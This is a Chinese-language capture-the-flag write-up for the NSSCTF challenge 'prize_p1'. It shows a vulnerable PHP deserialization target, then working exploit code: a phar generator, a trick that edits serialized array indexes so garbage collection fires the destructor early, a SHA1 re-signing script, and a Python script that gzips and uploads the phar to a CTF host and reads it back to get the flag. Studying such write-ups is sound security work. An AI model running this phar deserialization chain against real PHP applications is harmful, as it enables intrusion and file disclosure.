NSSCTF prize_p1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <META http-equiv="Content-Type" content="text/html; charset=utf-8" /> <?php highlight_file(__FILE__); class getflag { function __destruct() { echo getenv("FLAG"); } }
class A { public $config; function __destruct() { if ($this->config == 'w') { $data = $_POST[0]; if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) { die("我知道你想干吗,我的建议是不要那样做。"); } file_put_contents("./tmp/a.txt", $data); } else if ($this->config == 'r') { $data = $_POST[0]; if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) { die("我知道你想干吗,我的建议是不要那样做。"); } echo file_get_contents($data); } } } if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) { die("我知道你想干吗,我的建议是不要那样做。"); } unserialize($_GET[0]); throw new Error("那么就从这里开始起航吧");
|
思路分析:有两个类 A是读取flag B是可以进行文件读写的功能 那我们通过上传phar文件再利用phar协议来读取 但是phar文件是明文 含有getflag也会被过滤 那就使用gzip打包 phar伪协议一样可以解析gzip bzip2 tar zip这四个后缀的文件
生成phar文件
记得phar only设置为off 并且这里php环境使用的和题目环境一样的php5
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php highlight_file(__FILE__); class getflag {} $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $o = new getflag(); $o = array(0=>$o,1=>null); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
|
那么这里生成的phar文件我们需要绕过throw new Error(“那么就从这里开始起航吧”); 这里就运用到了gc回收机制
修改phar文件

将1替换为0 a:2:{i:0;O:7:"getflag":{}i:0;N;}
Array[0]首先是设置为getflag对象的,然后又将Array[0]赋值为NuLL,那么原来的getflag就没有被引用了 触发了gc回收机制 __destruct被提前触发
重新签名
修改过后的phar文件需要重新签名
1 2 3 4 5 6
| from hashlib import sha1 f = open('./test.phar', 'rb').read() s = f[:-28] h = f[-8:] newf = s+sha1(s).digest()+h open('ph2.phar', 'wb').write(newf)
|
读取flag
然后上传文件进行读取操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import requests import re import gzip
url = "http://node4.anna.nssctf.cn:28318/"
with open("./ph2.phar", 'rb') as f1: phar_zip = gzip.open("gzip.zip", 'wb') phar_zip.writelines(f1) phar_zip.close()
with open("gzip.zip", 'rb') as f2: data1 = {0: f2.read()} param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'} p1 = requests.post(url=url, params=param1, data=data1)
param2 = {0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'} data2 = {0: "phar://tmp/a.txt"} p2 = requests.post(url=url, params=param2, data=data2)
flag = re.compile('NSSCTF\{.*?\}').findall(p2.text) print(flag)
|
